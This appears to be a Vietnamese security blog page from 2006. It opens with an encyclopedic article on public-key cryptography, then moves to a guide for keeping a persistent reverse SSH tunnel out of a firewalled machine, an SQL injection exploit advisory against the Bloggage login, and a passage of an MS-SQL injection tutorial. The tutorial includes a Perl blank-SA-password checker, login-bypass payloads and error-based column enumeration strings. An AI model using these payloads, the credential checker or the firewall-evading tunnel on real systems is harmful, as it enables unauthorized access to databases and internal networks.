Trong hầu hết lịch sử của mật mã học, khóa dùng mã hóa và giải mã phải được giữ bí mật và cần được trao đổi bằng một phương pháp an toàn khác (không dùng mật mã) như gặp nhau trực tiếp hay thông qua một người đưa thư tin cậy. Vì vậy quá trình phân phối khóa trong thực tế gặp rất nhiều khó khăn, đặc biệt là khi số lượng người sử dụng rất lớn. Mã hóa khóa công cộng đã giải quyết được vấn đề này vì nó cho phép người dùng gửi thông tin mật trên đường truyền không an toàn mà không cần thỏa thuận khóa từ trước.

Năm 1874, William Stanley Jevons xuất bản một cuốn sách mô tả mối quan hệ giữa các hàm một chiều với mật mã học đồng thời đi sâu vào bài toán phân tích ra thừa số nguyên tố (sử dụng trong thuật toán RSA). Tháng 7 năm 1996, một nhà nghiên cứu đã bình luận về cuốn sách trên như sau:

Trong cuốn The Principles of Science: A Treatise on Logic and Scientific Method được xuất bản năm 1890, William S. Jevons đã phát hiện nhiều phép toán rất dễ thực hiện theo một chiều nhưng rất khó theo chiều ngược lại. Một ví dụ đã chứng tỏ mã hóa rất dễ dàng trong khi giải mã thì không. Vẫn trong phần nói trên ở chương 7 (Giới thiệu về phép tính ngược) tác giả đề cập đến nguyên lý: ta có thể dễ dàng nhân các số tự nhiên nhưng phân tích kết quả ra thừa số nguyên tố thì không hề đơn giản. Đây chính là nguyên tắc cơ bản của thuật toán mã hóa khóa công cộng RSA mặc dù tác giả không phải là người phát minh ra mã hóa khóa công cộng.

Thuật toán mã hóa khóa công cộng được thiết kế đầu tiên bởi James H. Ellis, Clifford Cocks, và Malcolm Williamson tại GCHQ (Anh) vào đầu thập kỷ 1970. Thuật toán sau này được phát triển và biết đến dưới tên Diffie-Hellman, và là một trường hợp đặc biệt của RSA. Tuy nhiên những thông tin này chỉ được tiết lộ vào năm 1997.

Năm 1976, Whitfield Diffie và Martin Hellman công bố một hệ thống mã hóa khóa bất đối xứng trong đó nêu ra phương pháp trao đổi khóa công cộng. Công trình này chịu sự ảnh hưởng từ xuất bản trước đó của Ralph Merkle về phân phối khóa công cộng. Trao đổi khóa Diffie-Hellman là phương pháp có thể áp dụng trên thực tế đầu tiên để phân phối khóa bí mật thông qua một kênh thông tin không an toàn. Kỹ thuật thỏa thuận khóa của Merkle có tên là hệ thống câu đố Merkle.

Thuật toán đầu tiên cũng được Rivest, Shamir và Adleman phát hiện vào năm 1977 tại MIT. Công trình này được công bố vào năm 1978 và thuật toán được đặt tên là RSA. RSA sử dụng phép toán tính hàm mũ môđun (môđun được tính bằng tích số của 2 số nguyên tố lớn) để mã hóa và giải mã cũng như tạo chữ ký số. An toàn của thuật toán được đảm bảo với điều kiện là không tồn tại kỹ thuật hiệu quả để phân tích một số rất lớn thành thừa số nguyên tố.

Kể từ thập kỷ 1970, đã có rất nhiều thuật toán mã hóa, tạo chữ ký số, thỏa thuận khóa… được phát triển. Các thuật toán như ElGamal (mã hóa) do Netscape phát triển hay DSA do NSA và NIST cũng dựa trên các bài toán lôgarit rời rạc tương tự như RSA. Vào giữa thập kỷ 1980, Neal Koblitz bắt đầu cho một dòng thuật toán mới: mật mã đường cong elíp và cũng tạo ra nhiều thuật toán tương tự. Mặc dù cơ sở toán học của dòng thuật toán này phức tạp hơn nhưng lại giúp làm giảm khối lượng tính toán đặc biệt khi khóa có độ dài lớn.

An toàn

Về khía cạnh an toàn, các thuật toán mã hóa khóa bất đối xứng cũng không khác với các thuật toán mã hóa khóa đối xứng. Có những thuật toán được dùng rộng rãi, có thuật toán chủ yếu trên lý thuyết; có thuật toán vẫn được xem là an toàn, có thuật toán đã bị phá vỡ… Cũng cần lưu ý là những thuật toán được dùng rộng rãi không phải lúc nào cũng đảm bảo an toàn. Một số thuật toán có những chứng minh về độ an toàn với những tiêu chuẩn khác nhau. Nhiều chứng minh gắn việc phá vỡ thuật toán với những bài toán nổi tiếng vẫn được cho là không có lời giải trong thời gian đa thức. Nhìn chung, chưa có thuật toán nào được chứng minh là an toàn tuyệt đối (như hệ thống mã hóa sử dụng một lần). Vì vậy, cũng giống như tất cả các thuật toán mật mã nói chung, các thuật toán mã hóa khóa công cộng cần phải được sử dụng một cách thận trọng.

Các ứng dụng

Ứng dụng rõ ràng nhất của mã hóa khóa công cộng là bảo mật: một văn bản được mã hóa bằng khóa công cộng của một người sử dụng thì chỉ có thể giải mã với khóa bí mật của người đó.

Các thuật toán tạo chữ ký số khóa công cộng có thể dùng để nhận thực. Một người sử dụng có thể mã hóa văn bản với khóa bí mật của mình. Nếu một người khác có thể giải mã với khóa công cộng của người gửi thì có thể tin rằng văn bản thực sự xuất phát từ người gắn với khóa công cộng đó.

Các đặc điểm trên còn có ích cho nhiều ứng dụng khác như: tiền điện tử, thỏa thuận khóa…

Những vấn đề đặt ra trong thực tế

Sự tương tự với bưu chính

Để thấy rõ hơn ưu điểm của hệ thống mã hóa khóa bất đối xứng ta có thể dùng sự tương tự với hệ thống bưu chính trong ví dụ sau: 2 người (A và B) trao đổi thông tin mật thông qua hệ thống bưu chính. A cần gửi một bức thư có nội dung cần giữ bí mật tới cho B và sau đó nhận lại thư trả lời (cũng cần giữ bí mật) từ B.

Trong hệ thống mã hóa khóa đối xứng, A sẽ cho bức thư vào hộp và khóa lại rồi gửi hộp theo đường bưu chính bình thường tới cho B. Khi B nhận được hộp, anh ta dùng một khóa giống hệt như khóa A đã dùng để mở hộp, đọc thông tin và gửi thư trả lời theo cách tương tự. Vấn đề đặt ra là A và B phải có 2 khóa giống hệt nhau bằng một cách an toàn nào đó từ trước (chẳng hạn như gặp mặt trực tiếp).

Trong hệ thống mã hóa khóa bất đối xứng, B và A có hai khóa khác nhau. Đầu tiên, A yêu cầu B gửi cho mình khóa (công cộng) theo đường bưu chính bình thường và giữ lại khóa bí mật. Khi cần gửi thư, A sử dụng khóa nhận được từ B để khóa hộp. Khi nhận được hộp đã khóa bằng khóa công cộng của mình, B có thể mở khóa và đọc thông tin. Để trả lời A, B cũng thực hiện theo quá trình tương tự với khóa của A.

Điều quan trọng nhất ở đây là B và A không cần phải gửi đi khóa bí mật của mình. Điều này làm giảm nguy cơ một kẻ thứ 3 (chẳng hạn như một nhân viên bưu chính biến chất) làm giả khóa trong quá trình vận chuyển và đọc những thông tin trao đổi giữa 2 người trong tương lai. Thêm vào đó, trong trường hợp B do sơ suất làm lộ khóa của mình thì các thông tin do A gửi cho người khác vẫn giữ bí mật (vì sử dụng các cặp khóa khác).

Thuật toán: liên kết giữa 2 khóa trong cặp

Không phải tất cả các thuật toán mã hóa khóa bất đối xứng đều hoạt động giống nhau nhưng phần lớn đều gồm 2 khóa có quan hệ toán học với nhau: một cho mã hóa và một để giải mã. Để thuật toán đảm bảo an toàn thì không thể tìm được khóa giải mã nếu chỉ biết khóa đã dùng mã hóa. Điều này còn được gọi là mã hóa công cộng vì khóa dùng để mã hóa có thể công bố công khai mà không ảnh hưởng đến bí mật của văn bản mã hóa. Trong ví dụ ở trên, khóa công cộng có thể là những hướng dẫn đủ để tạo ra khóa với tính chất là một khi đã khóa thì không thể mở được nếu chỉ biết những hướng dẫn đã cho. Các thông tin để mở khóa thì chỉ có người sở hữu mới biết.

Những điểm yếu

Tồn tại khả năng một người nào đó có thể tìm ra được khóa bí mật. Không giống với hệ thống mã hóa một lần (one-time pad) hoặc tương đương, chưa có thuật toán mã hóa khóa bất đối xứng nào được chứng minh là an toàn trước các tấn công dựa trên bản chất toán học của thuật toán. Khả năng một mối quan hệ nào đó giữa 2 khóa hay điểm yếu của thuật toán dẫn tới cho phép giải mã không cần tới khóa hay chỉ cần khóa mã hóa vẫn chưa được loại trừ. An toàn của các thuật toán này đều dựa trên các ước lượng về khối lượng tính toán để giải các bài toán gắn với chúng. Các ước lượng này lại luôn thay đổi tùy thuộc khả năng của máy tính và các phát hiện toán học mới.

Mặc dù vậy, độ an toàn của các thuật toán mã hóa khóa công cộng cũng tương đối đảm bảo. Nếu thời gian để phá một mã (bằng phương pháp duyệt toàn bộ) được ước lượng là 1000 năm thì thuật toán này hoàn toàn có thể dùng để mã hóa các thông tin về thẻ tín dụng – Rõ ràng là thời gian phá mã lớn hơn nhiều lần thời gian tồn tại của thẻ (vài năm).

Nhiều điểm yếu của một số thuật toán mã hóa khóa bất đối xứng đã được tìm ra trong quá khứ. Thuật toán đóng gói ba lô là một ví dụ. Nó chỉ được xem là không an toàn khi một dạng tấn công không lường trước bị phát hiện. Gần đây, một số dạng tấn công đã đơn giản hóa việc tìm khóa giải mã dựa trên việc đo đạc chính xác thời gian mà một hệ thống phần cứng thực hiện mã hóa. Vì vậy, việc sử dụng mã hóa khóa bất đối xứng không thể đảm bảo an toàn tuyệt đối. Đây là một lĩnh vực đang được tích cực nghiên cứu để tìm ra những dạng tấn công mới.

Một điểm yếu tiềm tàng trong việc sử dụng khóa bất đối xứng là khả năng bị tấn công dạng kẻ tấn công đứng giữa (man in the middle attack): kẻ tấn công lợi dụng việc phân phối khóa công cộng để thay đổi khóa công cộng. Sau khi đã giả mạo được khóa công cộng, kẻ tấn công đứng ở giữa 2 bên để nhận các gói tin, giải mã rồi lại mã hóa với khóa đúng và gửi đến nơi nhận để tránh bị phát hiện. Dạng tấn công kiểu này có thể phòng ngừa bằng các phương pháp trao đổi khóa an toàn nhằm đảm bảo nhận thực người gửi và toàn vẹn thông tin. Một điều cần lưu ý là khi các chính phủ quan tâm đến dạng tấn công này: họ có thể thuyết phục (hay bắt buộc) nhà cung cấp chứng thực số xác nhận một khóa giả mạo và có thể đọc các thông tin mã hóa.

Khối lượng tính toán

Để đạt được độ an toàn tương đương, thuật toán mã hóa khóa bất đối xứng đòi hỏi khối lượng tính toán nhiều hơn đáng kể so với thuật toán mã hóa khóa đối xứng. Vì thế trong thực tế hai dạng thuật toán này thường được dùng bổ sung cho nhau để đạt hiệu quả cao. Trong mô hình này, một bên tham gia trao đổi thông tin tạo ra một khóa đối xứng dùng cho phiên giao dịch. Khóa này sẽ được trao đổi an toàn thông qua hệ thống mã hóa khóa bất đối xứng. Sau đó 2 bên trao đổi thông tin bí mật bằng hệ thống mã hóa đối xứng trong suốt phiên giao dịch.

Mối quan hệ giữa khóa công cộng với thực thể sở hữu khóa

Để có thể đạt được những ưu điểm của hệ thống thì mối quan hệ giữa khóa công cộng và thực thể sở hữu khóa phải được đảm bảo chính xác. Vì thế các giao thức thiết lập và kiểm tra mối quan hệ này là đặc biệt quan trọng. Việc gắn một khóa công cộng với một định danh người sử dụng thường được thực hiện bởi các giao thức thực hiện hạ tầng khóa công cộng (PKI). Các giao thức này cho phép kiểm tra mối quan hệ giữa khóa và người được cho là sở hữu khóa thông qua một bên thứ ba được tin tưởng. Mô hình tổ chức của hệ thống kiểm tra có thể theo phân lớp (các nhà cung cấp chứng thực số – X.509) hoặc theo thống kê (mạng lưới tín nhiệm – PGP, GPG) hoặc theo mô hình tín nhiệm nội bộ (SPKI). Không phụ thuộc vào bản chất của thuật toán hay giao thức, việc đánh giá mối quan hệ giữa khóa và người sở hữu khóa vẫn phải dựa trên những đánh giá chủ quan của bên thứ ba bởi vì khóa là một thực thể toán học còn người sở hữu và mối quan hệ thì không. Hạ tầng khóa công cộng chính là các thiết chế để đưa ra những chính sách cho việc đánh giá này.

Các vấn đề liên quan tới thời gian thực

Một khóa công cộng nào đó có thể liên quan tới một số lượng lớn và khó xác định người sử dụng. Vì thế sẽ tốn rất nhiều thời gian khi muốn thu hồi hoặc thay thế một khóa vì lý do an ninh. Do vậy, các hệ thống hoạt động trong thời gian thực khi áp dụng mã hóa khóa công cộng cần phải hết sức thận trọng. Có ít nhất 4 vấn đề cần quan tâm được đề cập sau đây.

Thẩm quyền thu hồi khóa

Việc thu hồi khóa có tính phá hoại hoặc sai sót sẽ có khả năng gây ra ảnh hưởng nghiêm trọng tới hệ thống. Trường hợp này hoàn toàn có thể xảy ra nếu việc thu hồi khóa có thể được thực hiện bởi chỉ một thực thể. Chúng ta có thể làm giảm nguy cơ này bằng cách thực hiện chính sách thu hồi khóa với sự tham gia của hai thực thể trở lên. Chẳng hạn, một khóa chỉ bị thu hồi khi có sự chấp thuận của cả A và B. Tuy nhiên, xét về phương diện an ninh thì chính sách này tạo nên yếu điểm cho hệ thống. Kẻ tấn công chỉ cần thực hiện tấn công từ chối dịch vụ (DoS) vào B hoặc A là có thể làm hệ thống ngừng hoạt động.

Do thực thể có thẩm quyền thu hồi khóa rất quan trọng đối với hệ thống nên các cơ chế thực hiện cần đảm bảo càng nhiều bên tham gia càng tốt để chống lại phá hoại đồng thời lại phải đảm bảo càng ít càng tốt để có thể thực hiện việc thu hồi nhanh chóng.

Phân phối khóa mới

Sau khi một khóa bị thu hồi thì một khóa mới cần được phân phối theo một trình tự định trước.

Giả sử khóa của C đã bị thu hồi. Trước khi có khóa mới C không thể tham gia trao đổi thông tin mật. Không ai có thể gửi thông tin cho C mà không vi phạm an ninh hệ thống và các thông tin từ C sẽ bị loại bỏ. Điều này cũng có nghĩa phần của hệ thống do C kiểm soát ngừng hoạt động. Trong trường hợp này yêu cầu về an ninh được đặt lên trên yêu cầu về tính sẵn sàng của hệ thống.

Trong hệ thống, người có thẩm quyền tạo khóa mới có thể trùng với người có thẩm quyền thu hồi khóa nhưng không bắt buộc như vậy. Nếu xét về phương diện an ninh thì đây không phải là ý tưởng tốt. Vấn đề nảy sinh là chúng ta cần giảm khoảng thời gian giữa thời điểm thu hồi khóa và thời điểm tạo khóa mới tới mức tối thiểu. Để làm tốt việc này lại đòi hỏi một nơi/một thực thể có đủ 2 thẩm quyền nêu trên. Vấn đề là chúng ta phải cân bằng giữa yêu cầu về an ninh và yêu cầu về tính sẵn sàng của hệ thống.

Thông báo thông tin về thu hồi khóa

Thông báo về một khóa nào đó bị thu hồi cần đến được tất cả những người đang sử dụng nó trong thời gian ngắn nhất có thể.

Đối với hệ thống phân phối người ta có 2 cách đưa các thông tin thu hồi khóa đến người dùng: thông tin được đẩy (push) từ điểm trung tâm tới người dùng hoặc người dùng lấy (pull) thông tin từ trung tâm.

Đẩy thông tin từ trung tâm là cách đơn giản nhất để gửi thông tin tới toàn thể người sử dụng. Tuy nhiên không thể đảm bảo là thông tin thực sự tới được đích và đối với một hệ thống lớn thì khả năng gửi thành công tới tất cả người dùng là thấp. Thêm vào đó, thời gian hoàn thành truyền tin sẽ là khá lớn và trong suốt quá trình này thì hệ thống có thể bị lợi dụng. Vì vậy, phương pháp này không đảm bảo an toàn cũng như không tin cậy.

Phương pháp thứ hai người sử dụng lấy thông tin về khóa từ trung tâm trước mỗi lần sử dụng. Điểm yếu của phương pháp này là người sử dụng sẽ bị chặn nếu không kết nối được với trung tâm. Ở đây chúng ta lại thấy một lần nữa mối liên hệ trái chiều giữa an ninh và tính sẵn sàng: càng nhiều server (tăng độ tin cậy) thì thời gian cửa sổ càng lớn (độ an toàn giảm).

Ngoài ra còn một phương án nữa là cung cấp các chứng thực có thời hạn. Việc xác định thời gian sống của mỗi chứng thực sẽ là sự cân bằng giữa yêu cầu an toàn và tính sẵn sàng của hệ thống và người dùng.

Các biện pháp tiến hành khi lộ khóa

Hầu hết các trường hợp thu hồi khóa xảy ra khi có sự kiện nào đó chứng tỏ khóa bí mật đã bị lộ. Ta gọi thời điểm xảy ra sự kiện đó là T.

Điều này dẫn tới 2 hệ quả: Các văn bản mã hóa với khóa công cộng sau thời điểm T không còn được xem là bí mật; và các chữ ký số thực hiện với khóa bí mật sau thời điểm T không còn được xem là thật nếu không có những tìm hiểu kỹ lưỡng các sự kiện để tìm ra nơi thực hiện chữ ký.

Nếu nguyên nhân của việc lộ bí mật là lỗi hệ thống thì cần tiến hành ngay lập tức chiến lược phục hồi. Chiến lược này sẽ xác định người có quyền thu hồi khóa, cách thức truyền thông tin tới người dùng, cách thức xử lý các văn bản mã hóa với khóa bị lộ sau thời điểm T. Quy trình phục hồi có thể rất phức tạp và trong lúc tiến hành thì hệ thống rất dễ bị tấn công từ chối dịch vụ (DoS).

Một số ví dụ

Một số thuật toán mã hóa khóa công cộng được đánh giá cao:

  • Diffie-Hellman
  • DSS (Tiêu chuẩn chữ ký số)
  • ElGamal
  • Các kỹ thuật Mã hóa đường cong Elíp
  • Các kỹ thuật Thỏa thuật khóa chứng thực bằng mật khẩu
  • Hệ thống mật mã Paillier
  • Thuật toán mã hóa RSA (PKCS)

Một số thuật toán không được đánh giá cao:

  • Merkle-Hellman (sử dùng bài toán cái balô)

Một số ví dụ về giao thức sử dụng mã hóa khóa công cộng:

  • GPG thực hiện giao thức OpenPGP
  • IKE
  • Pretty Good Privacy
  • SSH
  • Secure Socket Layer tiêu chuẩn IETF — TLS
  • SILC

Tháng Bảy 10, 2006 Posted by | Network and Security | 1 bình luận

Port-forwarding with ssh

How do I do port-forwarding with ssh?

If you can ssh out from a firewalled machine, you can ask ssh to set up a tunnel back to that machine, so that it can be reached from the outside world.

Here's how.

the purposes of this explanation, the "inside" machine is the machine inside the firewall — the one you want to be able to reach. The "outside" machine is the one that will be forwarding connections to the inside one. Also note that when I say "ssh", I mean ssh version 1. There is an ssh version 2, but it's commercial and nobody uses it (and it's incompatible with version 1) — so to avoid confusing yourself, don't even look at it. Use ssh version 1.

1. Create a key

The first thing you need to do is create an ssh "identity" key that doesn't have a password set — it just uses RSA keys to authenticate. (You need this because you're going to be running ssh in the background and you don't want it asking you for a password when you're not around.)

On the inside machine, go into your .ssh/ directory (the one inside your home directory — if you don't have one, go ahead and create it) and type:

ssh-keygen -f tunnel -C "tunnel key"

It will do a little song and dance, and ask you for a password. Just hit enter here — you don't want a password set on this key.

When you're done, you'll have a file tunnel (this is your private key — protect it!) and a file tunnel.pub (the public key).

2. Add the key to the outside machine

You need to let the outside machine know this new public key, so it'll let you login without a password (using this key). On the outside machine, go into your .ssh/ directory and edit the file authorized_keys. (If this file doesn't exist, it's okay to create it.) This is somewhat annoying, but what you want to do is copy the contents of tunnel.pub (from the inside machine) into one line of your authorized_keys file. It's important that the line be identical, and that it be one line. (Sometimes cut-and-paste will insert linefeeds — be careful and check it.) It should work now.

But to be safe, you ought to also limit the places this key can be used from. Since you're only going to use this key to set up an automatic tunnel from the inside machine, you can set this key so that it will only work for connections coming from there. To do that, add a from= section to the beginning of the line in authorized_keys.

For example, if your inside box is 10.23.128.4, the line in authorized_keys should look like this:

from="10.23.128.4" 1024 37 1283091749021[…]923492

In other words, you want from="inside IP", followed by a space, to be at the front of the line. This is optional, but highly recommended.

3. Checkpoint

If you've done everything right up till now, you should be able to use this command on the inside machine:

ssh -i ~/.ssh/tunnel username@outside.machine.top

and ssh should connect you to the outside machine and login as you, without asking you for a password. If that isn't what happened, something got messed up along the way — start over. If that is what happened, you're halfway there.

4. Backwards port redirect

This is the interesting part. Ssh has the ability to, after connecting to a machine, listen to a TCP port on that machine, and redirect traffic over the ssh connection back to the ssh client's machine. It's done with the -R option:

-R far-port:local-address:local-port

If the inside machine is named "squirtle", and the outside machine is named "house.example.com", you can type this command:

ssh -i ~/.ssh/tunnel -R 3939:squirtle:23 me@house.example.com

It will connect you to house.example.com, as before, but this time it also starts listening on port 3939 on house.example.com, and forwarding traffic to squirtle's port 23 (the telnet port). So, anyone who telnets to house.example.com port 3939, is effectively telnet'ing to squirtle's login prompt. Hopefully this makes you nervous. You should be really careful about this, because now anyone that finds this port can try to login to squirtle. And it's not exactly hard to find the port. 

It would be even better if you used port 22 (the ssh port) instead of port 23 (the telnet port) since most systems have sshd running now. That's definitely more secure.

5. Automating it

One thing you can do, if you don't give a crap about the security of squirtle (the inside machine), is to just leave the connection up 24/7. I know at least one (unnamed) company where this is happening. To do that, just run a script like this one the inside machine:

#!/bin/sh

while `true`; do

     ssh -i ~/.ssh/tunnel -R 3939:squirtle:23 me@house.example.com sleep 32000

     sleep 1

done

Adding the sleep 32000 to the ssh command makes it execute that command (on the remote machine — i.e. the outside machine) instead of giving you a login shell. This is what you want for scripts. Another thing you could do is set up a "time window" that the tunnel will be open. Set it up as a cron job that goes off at, say, every 2-3 hours and leaves the connection up for 15 minutes (just change the sleep time on the ssh command line to 900). If you're really perverse like me, you could run a bot on the inside machine, and run some Tcl scripts on a botnet so that anyone on the botnet could do a command that causes the bot on the inside machine to open up the tunnel. If that sounds cool to you, go write it yourself — don't ask me for help. 🙂

BLACK ANGEL

Tháng Sáu 23, 2006 Posted by | Network and Security | Bình luận về bài viết này

Bloggage Remote SQL Injection Exploit

Vunerability(s):
————–
SQL Injection

Product:
——–
bloggage

Vendor:
——–
http://ccc.domaindlx.com/bloggage/default.asp

Description of product:
———————–

Now Bloggage is Open Source!!!

Welcome to bloggage. It is a new generation fusion of blogging and homepage. It is made for those who currently
keep separate homepages and blogs and find it difficult to maintain both. Anyone can use bloggage with ease.
It has many unique features such as user privileges, commenting system, WYSIWYG editor, template system, customized
layout of the blog and many others. Best of all, It's FREE!!!!!! So enjoy bloggage and please supply your comments for
future improvements.

Vulnerability / Exploit:
————————

This software is vulnerable to a SQL Injection.

If you look into: login.asp there is:

<form action="check_login.asp" method="post">
      <table width="100%" border="0">
        <tr>
          <td width="16%">Account Name</td>
          <td width="84%"><input name="acc_name" type="text" maxlength="50"></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input name="password" type="password" maxlength="50"></td>
        </tr>
        <tr>

[…]

You can see that this script call an other script called check_login.asp.
In check_loging.asp there is a flaw that can allow an attacker to exploit the hole with Remote SQL Injection because the
variables acc_name and password are not properly sanitised.

So, in check_login.asp there is:

[…]
RS.Open "SELECT Account_Name FROM registration WHERE Account_Name='" & acc_name & "' AND Password='" & password & "'", DB
[…]

If an attacker put this codes '1' OR '1' = '1' into acc_name and password variables he can login into blogger!

the query will be:

RS.Open "SELECT Account_Name FROM registration WHERE Account_Name='1' OR '1' = '1' AND Password='1' OR '1' = '1', DB

Vendor Status
————-

Bloggage đã được thông báo nhưng Black Angel chẳng nhận được tí xíu phản hồi nào từ họ cả, Pó hand!

BLACK ANGEL

Tháng Sáu 21, 2006 Posted by | Security Exploits | Bình luận về bài viết này

Ky thuat SQL Injection

Introduction:
Today, so many web admin get headache with SQL Injection. So, what is it? How people  can do that? Black Angel will show you in this small article.

This article takes a broad look at the security issues surrounding MS-SQL and a closer look at the problems of poor input validation (& their implications) when http forms are used to query SQL servers.

It didnt take people long to realise that with all the "functionaility" built into MS-SQL that a compromised MS-SQL server translated almost directly to a compromised server and served as an excellent springboard into internal networks. Many excellent sites like [http://www.sqlsecurity.com] have sprung up dedicated to issues both hats can use when dealing with SQL-Server..

This paper is more about abusing poor administration and configuration than it is about Service Packs and Hot-Fixes.

Blank SA:
The most common problem seen on MS-SQL boxes is the default <blank> SA password. If you have a MS-SQL server exposed to the internet with TCP/IP connectivity enabled (default) and SA passwordless (default) you definiately asking for (and in the opinion of most, probably deserve) to get hacked.
The following perl snippet logs into a SQL server over TCP/IP with the supplied username and password. It would be trivial to script this snippet into somthing that :
  a) scans for hosts with blank passwords
  b) Brute Forces login attempts.

-cut-
#!/usr/bin/perl
##
## SQL username/password checker
## Parameters: senseql <IP> <username> <password>
##
## Eg. to check for blank SA:
## senseql 10.0.0.1 sa ""
##
## Roelof Temmingh / Haroon Meer
## roelof@sensepost.com / haroon@sensepost.com
## SensePost IT Security
## http://www.sensepost.com
## http://www.hackrack.com
## 2001/11/09

use IO::Socket;
$|=1;
if ($#ARGV<2) {die "Usage: senseql IP username password\n";}
$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];
$unh=pack("a30",$username);$psh=pack("a30",$pass);
$numu=pack("c",length($username)); $nump=pack("c",length($pass));
$FRONT="0200020000000200000000000000000000000000000000000000000000000000000
00000000000";
$REST="30303030303061300000000000000000000000000000000000201881b82c08030106
0a090101000000000000000000737175656c646120312e30000000000000000000000000000
000000000000b00000000000000000000000000000000000000000000000000000000000000
00";
$REST2="0000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000040200004d5344424c49420000000706000000000d110000000000000000000000000
00000000000000000000000";
$hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2)
;
$FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2;
$SENDY2="020100470000020000000000000000010000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000003030300000000300000
0";
$SENDY2 = pack("H*",$SENDY2);
print "$host:$username:$pass:";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>
$port)  || die "No SQL here man…";
print $remote $FULL; print $remote $SENDY2;
recv($remote,$back,100,MSG_PEEK);
if ($back =~ /context to 'master'/) {print "Yep – go for it\n"}
else {print "No dude..\n";}
close ($remote);

-cut-

Lets move on.. at least to admins who have had the sense to change the
admin password.

Input Validation [Simple]:

People have been screaming about poor (non) validation of user input for as
long as i can remember so i dont even think that any of the normal excuses
apply anymore. By now.. developers should simply have learnt that "all user
input should be inherently distrusted" and therfore sanitized.
Unfortunately most of the sites you come across seem to ignore sanitization
of user inupt completely or do it selectively (often forgetting hidden
fields). So lets move on..

Okay.. in its most simple form.. the asp snippet that handles the login
works thusly..

SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND  U_Password='<field from web form>'
  IF [Stuff is Returned] {Login looks good}
  ELSE {Login looks bad}

The code assumes that if a record set was built ie.. If stuff is returned, that the user must have logged in with valid credentials. A good login therefore would look like :

SELECT XYZ from tblUsers where User_ID='admin' AND U_Password='t0ps3kr3t'

Without user input sanitization, an attacker now has the ability to add/inject SQL commands using the <field from web form>s. The user inputed fields are enclosed by single quotation marks ' so a simple test of the form would be to try using ' as the username. If we get back an ODBC error, chances are that we are in the game. The next step would be to try the following as user names:

blah' OR '1'='1  (enter the same in password field)
or even to try
blah' OR 1=1–  (password field may remain blank)

The first option effectively runs the following query:

SELECT XYZ from tblUsers WHERE User_ID='blah' OR '1'='1' AND U_Password='blah' OR '1'='1'

Why this works is easily apparant. The quotation mark closes the open SQL quote and the statement is then OR'd with a condition that will always test true. ie '1'='1'. With both the username and password conditions now testing true, a recordset is built and the application assumes a valid login has taken place.

The second option used above makes use of the double hyphen (dash) which is used as a comment operator. It effectively comments out the remaining bits of the SQL statement to avoid Syntax errors etc. that could spring up with unmatched quote marks.

Lets move on…

Input Validation [Higher Grade :>]:

In order to "protect" against this.. many sites resort to scripting on the initial login.asp. To me, it makes very little sense to leave sanitization to a piece of script that the end user can edit. So in most cases all that is needed is for an attacker to save the html to his localmachine, remove offending jscript (changing the location for the GET / POST request would be a good idea too) and run the form locally. Fortunately HTTP-Refferer checks
are just as easy to overcome 😉

The virtues of using stored procedures have been extolled in numerous documents (cut down traffic / limit commands. blah.. blah) In most web forms however, they add another (small) bit of protection.

Working on the previous example, we now look at  a snippet of ASP (kind of) but with a stored procedure included (to timestamp the login / update the last-logged in time.. etc.). We now have :

SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND U_Password='<field from web form>'
  * Run Stored procedure sp_loggedin
    IF [Stuff is Returned] {Login looks good}
    ELSE {Login looks bad}

Being the optimistic people we are… we give the old [ blah' OR '1'='1 ] a try…

This time the server complains with:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
keyword 'or'.
/admin/admin.asp, line 10

The server is complaining because we are attempting to use an OR in a stored procedure. The fact that the stored procedure is not going to play happily with conditional queries means we have to forget about  "OR"ing for a while. We get back to basics and in the username field we enter:

sensepost'

ODBC spits back the ffg error :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string 'sensepost' AND Password=''.
/admin/admin.asp, line 13

The '80040e14' error seems to be an almost catch-all/bad characters error message.. Whats more interesting is the line that follows it. The returned error message has disclosed its SQL query (or part of it) and one of the columns in the queried table.

NB: The returned error messages are the key to using this technique and we need to pay particular attention to them. 

Armed with the column name we go back to the login page and this time use :

sensepost' group by (password)–

Note : ^^ where password == the name of the column we obtained and where the use of — has been previously explained. An interesting point is that  both column names and table names appear to be case insensitive (which  helps later if a little bit of brute force is needed)

The ODBC error returned this time is :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is
invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/admin/admin.asp, line 13

Time for a minor "whoot!" This time the error message has given us both the table name 'Admin' and the name of another column 'Userid'. We could now repeat the previous step using the newly found column name untill we have enumerated all the columns in the target table.

The holy grail David was searching for was to totally understand the structure of the table being queried in order to be able to inject a valid INSERT statement that would happily add us as valid users/administrators. I have come across numerous sites that either(depending on what the SP_ in question does) logs you in during this process or provides you with valid credentials on the way. As with the "OR" method you are logged on as the
1st user in the table (who almost always happens to be an Administrator)

We need to know how many columns are in this table (to ensure that we know about all of them) so we go back to our login screen and try :

sensepost' union select userid from Admin–

..and get the ffg ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL  statement containing a UNION operator must have an equal number of expressions in their target lists.
/admin/admin.asp, line 13

The server is now complaining about our attempt to use the UNION operator without matching the correct number of columns as the number of columns in the Admin table. We go back to the login and try :

sensepost' union select userid,userid from Admin–

but get back the same error message. We keep adding untill the ODBC error message stops. (In the example we are abusing above the winning login was eventually :

sensepost' union select userid,userid,userid,userid,userid from Admin–

This time the returned error message was :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
